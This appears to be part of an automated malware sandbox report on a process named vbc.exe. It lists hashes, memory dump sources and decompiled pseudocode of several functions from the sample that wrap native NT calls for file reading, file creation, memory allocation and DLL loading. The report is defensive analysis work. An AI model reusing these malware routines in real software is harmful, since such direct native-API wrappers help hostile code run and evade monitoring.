Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca1ede6b28d30a5572cc7a82b6c667da4a1b75a07c623eb63af0e33d2772bbcd
Instruction ID: 2da0e88b84444ac84e1a823e4567f4821f5b9aeac951bd27b4811417299f91da
Opcode Fuzzy Hash: ca1ede6b28d30a5572cc7a82b6c667da4a1b75a07c623eb63af0e33d2772bbcd
Instruction Fuzzy Hash: C7517671E046598BDB58CF6BD94469EFBF3AFC9300F14C1AAD50CAA225EB301A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 021891F8, Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9941cadc9732f160048379c43994048a35dfefcd5b6d7c83b8085a5cc3b1ff19
Instruction ID: aec7c3cb85e20f5c51d3835adc645d0f0d0cf355bf087b2a0ec9d7c4e50a21f9
Opcode Fuzzy Hash: 9941cadc9732f160048379c43994048a35dfefcd5b6d7c83b8085a5cc3b1ff19
Instruction Fuzzy Hash: 99416C70D85218CBCB08DFA5E494AEEBAF2AB8D200F14A42AD416B7354D7348941CF29

Uniqueness

Uniqueness Score: -1.00%

Function 003155B0, Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91b801358a041847b497bb911096d53f6a9570a3231c27b36ee7ab9606ba5e63
Instruction ID: 40afadfe31882b9f9f7fffd6ac990ed6596a24cdaa1eeea1d666b752d2061c48
Opcode Fuzzy Hash: 91b801358a041847b497bb911096d53f6a9570a3231c27b36ee7ab9606ba5e63
Instruction Fuzzy Hash: 7F4124B5E0560ACFCB49CFA9C5805EEFBF6FF88300F64D16AC415A7254D734AA818B94

Uniqueness

Uniqueness Score: -1.00%

Function 003155C0, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a9466d3e044a4ec623de79b23be068b01b094bb4f01cd874536e5287bb6ab7
Instruction ID: 5e7e3cc76f622dce4cc384a2189dff67c56d954eb3182405a50d6a01dc53e921
Opcode Fuzzy Hash: f0a9466d3e044a4ec623de79b23be068b01b094bb4f01cd874536e5287bb6ab7
Instruction Fuzzy Hash: 7D4102B5E0560ACBCB48CFA9C5815EEFBF6BB8C300F64D06AC416B7214D7349A818B94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exe PID: 2492 Parent PID: 2932 vbc.exeCOMMON

Executed Functions

Function 002B67C7, Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 487nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 002B691F

Strings

0, xrefs: 002B69A7

Memory Dump Source

Source File: 00000005.00000002.2203174111.00000000002B0000.00000040.00000001.sdmp, Offset: 002B0000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID: 0
API String ID: 1778838933-4108050209
Opcode ID: 8e12f4b20edd14092c767837b0d6a63fc5fa59451e8ccbfbeb00165e0271d1df
Instruction ID: 05d7eef64d161185bf628e1c4c02b3e974ad4daf15b192e3ebe5fd04242207c6
Opcode Fuzzy Hash: 8e12f4b20edd14092c767837b0d6a63fc5fa59451e8ccbfbeb00165e0271d1df
Instruction Fuzzy Hash: 56F15F70528A8C8FDBA5EF68C895AEEB7E0FB98300F40462EE44ED7251DF349651CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000C67C7, Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 487nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 000C691F

Strings

0, xrefs: 000C69A7

Memory Dump Source

Source File: 00000005.00000002.2203109531.00000000000C0000.00000040.00000001.sdmp, Offset: 000C0000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID: 0
API String ID: 1778838933-4108050209
Opcode ID: 8e12f4b20edd14092c767837b0d6a63fc5fa59451e8ccbfbeb00165e0271d1df
Instruction ID: 205c69c9491c262ca26ec98b325ddd4e2c442de10210b598d1ee10c1712e7c57
Opcode Fuzzy Hash: 8e12f4b20edd14092c767837b0d6a63fc5fa59451e8ccbfbeb00165e0271d1df
Instruction Fuzzy Hash: B9F10A70618A8D8FDBA5EF68C895AEEB7E0FB98304F40462EE44AD7252DF349541CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0041825C, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0041825C(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t19;
				void* _t29;
				void* _t30;
				intOrPtr* _t31;
				void* _t33;

				_t14 = _a4;
				_t31 = _a4 + 0xc48;
				E00418DB0(_t29, _t14, _t31,  *((intOrPtr*)(_t14 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x413d42
				_t12 =  &_a8; // 0x413d42
				_t19 =  *((intOrPtr*)( *_t31))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40, _t30, _t33, _t33); // executed
				return _t19;
			}

0x00418263
0x0041826f
0x00418277
0x00418282
0x0041829d
0x004182a5
0x004182a9

APIs

NtReadFile.NTDLL(B=A,5E972F59,FFFFFFFF,00413A01,?,?,B=A,?,00413A01,FFFFFFFF,5E972F59,00413D42,?,00000000), ref: 004182A5

Strings

B=A, xrefs: 00418282, 00418290
B=A, xrefs: 0041829D, 004182A4

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: B=A$B=A
API String ID: 2738559852-2767357659
Opcode ID: 4441afe5b480c445e4af10c8f8922edbca3054b1a75dd2a3f5190de206556e4d
Instruction ID: de943160e91b2097658b8561939ebe43a0bc68e98f7736045236968f0c5998ef
Opcode Fuzzy Hash: 4441afe5b480c445e4af10c8f8922edbca3054b1a75dd2a3f5190de206556e4d
Instruction Fuzzy Hash: 7DF0E2B2200208AFCB04DF89DC90EEB77ADAF8C714F158249BA1D97241DA30E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418260, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418260(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E00418DB0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x413d42
				_t12 =  &_a8; // 0x413d42
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00418263
0x0041826f
0x00418277
0x00418282
0x0041829d
0x004182a5
0x004182a9

APIs

NtReadFile.NTDLL(B=A,5E972F59,FFFFFFFF,00413A01,?,?,B=A,?,00413A01,FFFFFFFF,5E972F59,00413D42,?,00000000), ref: 004182A5

Strings

B=A, xrefs: 00418282, 00418290
B=A, xrefs: 0041829D, 004182A4

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: B=A$B=A
API String ID: 2738559852-2767357659
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 36fb0ef1660234b95adbc5e615de389476f61a426637268b67c73261640a8fd9
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 2AF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158249BA1D97241DA30E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 002B67C2, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 002B691F

Strings

0, xrefs: 002B684D

Memory Dump Source

Source File: 00000005.00000002.2203174111.00000000002B0000.00000040.00000001.sdmp, Offset: 002B0000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID: 0
API String ID: 1778838933-4108050209
Opcode ID: ee058b3cccb49983a851c3df2d35334e30d543251d26de184eeff105f84e013e
Instruction ID: 31829c65e5d4f9af0ad922e8505edc3e7709a5f09afe904a80854c885c78be77
Opcode Fuzzy Hash: ee058b3cccb49983a851c3df2d35334e30d543251d26de184eeff105f84e013e
Instruction Fuzzy Hash: 1E512F70928A8C8FDB65EF68C8946EEBBF0FB98305F40462EE44AD7251DF349645CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000C67C2, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL ref: 000C691F

Strings

0, xrefs: 000C684D

Memory Dump Source

Source File: 00000005.00000002.2203109531.00000000000C0000.00000040.00000001.sdmp, Offset: 000C0000, based on PE: false

Similarity

API ID: InformationProcessQuery
String ID: 0
API String ID: 1778838933-4108050209
Opcode ID: ee058b3cccb49983a851c3df2d35334e30d543251d26de184eeff105f84e013e
Instruction ID: b0b5f50f9f2f24733fa304d149eeb5ac04af0160ba687e9304d3014a96edde86
Opcode Fuzzy Hash: ee058b3cccb49983a851c3df2d35334e30d543251d26de184eeff105f84e013e
Instruction Fuzzy Hash: 68511C70918A8C8FDB65EF68C894AEEB7F4FB98305F40462EE44ED7251DF3096458B41

Uniqueness

Uniqueness Score: -1.00%

Function 00409B10, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409B10(void* __ebx, void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t31;
				void* _t32;
				void* _t33;

				_v8 =  &_v536;
				_t15 = E0041AB40( &_v12, 0x104, _a8);
				_t32 = _t31 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041AF60(__eflags, _v8);
					_t33 = _t32 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041B1E0(__ebx,  &_v12, 0);
						_t33 = _t33 + 8;
					}
					_t18 = E004192F0(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x00409b2c
0x00409b2f
0x00409b34
0x00409b39
0x00409b43
0x00409b48
0x00409b4b
0x00409b4d
0x00409b55
0x00409b5a
0x00409b5a
0x00409b61
0x00409b69
0x00409b6c
0x00409b6e
0x00409b82
0x00000000
0x00409b84
0x00409b8a
0x00409b3e
0x00409b3e
0x00409b3e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B82

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: 046ff59bb8e44ad8641c0e43070f5aeaf3db9792b4ffc4f87dfb9ba9f6fb7e9c
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: D70112B5D4010DB7DF10EAE5DC42FDEB378AB54318F1041A5E908A7281F635EB54C795

Uniqueness

Uniqueness Score: -1.00%

Function 004181AA, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004181AA(void* __eax, void* __ebx, intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t25;
				void* _t36;

				 *(__ebx - 0x74aa291a) =  *(__ebx - 0x74aa291a) ^ 0x000000ec;
				_t19 = _a4;
				_t5 = _t19 + 0xc40; // 0xc40
				E00418DB0(_t36, _a4, _t5,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t25 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t25;
			}

0x004181ac
0x004181b3
0x004181bf
0x004181c7
0x004181fd
0x00418201

APIs

NtCreateFile.NTDLL(00000060,00408AE3,?,00413B87,00408AE3,FFFFFFFF,?,?,FFFFFFFF,00408AE3,00413B87,?,00408AE3,00000060,00000000,00000000), ref: 004181FD

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9bae0eb3ffb6eb6bfd393633e59707b62ba83f9c16c8488c96cd8951ec9eeb85
Instruction ID: d5671a957fbf69f59e2bb38e16f93d8646bb4d8f966cbc3ae5f6cbc16e4c9709
Opcode Fuzzy Hash: 9bae0eb3ffb6eb6bfd393633e59707b62ba83f9c16c8488c96cd8951ec9eeb85
Instruction Fuzzy Hash: 9D01BBB2201104ABCB48CF99DC84DDB77A9AF8C754F15824CFA1D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004181B0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004181B0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E00418DB0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004181bf
0x004181c7
0x004181fd
0x00418201

APIs

NtCreateFile.NTDLL(00000060,00408AE3,?,00413B87,00408AE3,FFFFFFFF,?,?,FFFFFFFF,00408AE3,00413B87,?,00408AE3,00000060,00000000,00000000), ref: 004181FD

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 1505d2c2fac7169f29cf6ab97caa2a59105c471fc85729d0552dd22f4c6ed161
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: D7F0B6B2200208ABCB48CF89DC85DEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418390, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418390(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E00418DB0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x0041839f
0x004183a7
0x004183c9
0x004183cd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F84,?,00000000,?,00003000,00000040,00000000,00000000,00408AE3), ref: 004183C9

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: c1f36b05bbd4b7963809c3793a6f2df241a2ee7dc34c60eca979b2d1d68cf477
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 1DF015B2200208ABCB14DF89DC81EEB77ADAF88754F118149BE0897241CA30F810CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 004182DA, Relevance: 1.5, APIs: 1, Instructions: 21
nativeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004182DA(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t12;

				asm("sbb [0x8b556206], ebx");
				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409733
				E00418DB0(_t12, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004182dc
0x004182e3
0x004182e6
0x004182ef
0x004182f7
0x00418305
0x00418309

APIs

NtClose.NTDLL(00413D20,?,?,00413D20,00408AE3,FFFFFFFF), ref: 00418305

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 4117a5e44119038a2029430489f3d9cd0bc453ede46ecf2d186ff3e06695392c
Instruction ID: bb598f78bcf0176fa49fecb9546cb1be327a81a223d3691381f11588243d921a
Opcode Fuzzy Hash: 4117a5e44119038a2029430489f3d9cd0bc453ede46ecf2d186ff3e06695392c
Instruction Fuzzy Hash: 35E0C276200210BFD710DFA4CC84EE77B68EF44320F10805DFA1D9B281C530E60087E0

Uniqueness

Uniqueness Score: -1.00%

Function 004182E0, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004182E0(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409733
				E00418DB0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004182e3
0x004182e6
0x004182ef
0x004182f7
0x00418305
0x00418309

APIs

NtClose.NTDLL(00413D20,?,?,00413D20,00408AE3,FFFFFFFF), ref: 00418305

Memory Dump Source

Source File: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: 2c2b34aedc846ab3ae484734a1171ee081eb0df99b6426d3cac892bcac86a451
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 7CD012752003146BD710EF99DC45ED7775CEF44750F154459BA185B242C930F90086E4

Uniqueness

Uniqueness Score: -1.00%

Function 009300C4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 009300CF

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 00930048, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00930053

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction ID: 41e4343c146f66e2bb318e135f4e172b2897deff735033a37a94e91f6413aa4b
Opcode Fuzzy Hash: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction Fuzzy Hash: DBB012B2100540C7E3099714D946B4B7210FB90F00F40C93BA11B81861DB3C993CD46A

Uniqueness

Uniqueness Score: -1.00%

Function 00930078, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00930086

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction ID: 3a645d05db048e5a2937cf36c3d58d647fc753ae06e93f94360992995f7f05c0
Opcode Fuzzy Hash: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction Fuzzy Hash: 2AB012B1504640C7F304F704D905B16B212FBD0F00F408938A14F86591D73DAD2CC78B

Uniqueness

Uniqueness Score: -1.00%

Function 009307AC, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 009307B7

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 0092F9F0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092F9FB

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 0092F900, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092F90E

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 0092FAD0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0092FADB

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

